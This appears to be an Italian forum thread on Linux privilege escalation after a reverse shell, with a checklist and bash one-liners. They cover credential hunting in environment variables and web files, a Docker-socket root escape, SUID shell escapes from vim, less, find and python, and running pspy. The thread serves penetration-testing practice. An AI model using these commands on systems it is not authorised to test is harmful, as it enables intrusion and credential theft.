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Privilege Escalation Linux: il metodo si…
Privilege Escalation Linux: il metodo sistematico che uso sempre
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Dopo aver ottenuto una reverse shell come www-data, il passo successivo e il privilege escalation. Il mio metodo sistematico:
1. LinPEAS/LinEnum per automazione iniziale
2. sudo -l: cosa posso eseguire come root?
3. SUID/GUID binaries non standard
4. Cron jobs con script scrivibili
5. Servizi in ascolto localmente (127.0.0.1)
6. Versione kernel: exploit kernel disponibili?
7. Password riuse: hash in /etc/shadow se readable?
Voi aggiungete altri vettori?
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Aggiunto al workflow:
```bash
# Variabili ambiente con credenziali
env | grep -i pass
printenv | grep -i secret
# File con credenziali hardcoded
grep -r 'password' /var/www/ 2>/dev/null
# Docker socket = root immediato
ls -la /var/run/docker.sock
# Se readable:
docker run --rm -v /:/mnt alpine chroot /mnt
```
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GTFOBins.github.io e il riferimento definitivo. Alcuni quick wins:
```bash
# vim SUID
/usr/bin/vim -c ':!bash'
# less SUID/sudo
sudo less /etc/passwd
!/bin/bash
# find SUID
find . -exec /bin/bash -p \; -quit
# python SUID
python3 -c 'import pty; pty.spawn("/bin/bash")'
```
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Pspy e uno dei tool piu sottovalutati:
```bash
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
```
Monitora processi e cron job in tempo reale senza privilegi root. Quante volte ho trovato cron job con script world-writable o PATH manipulation exploitabile.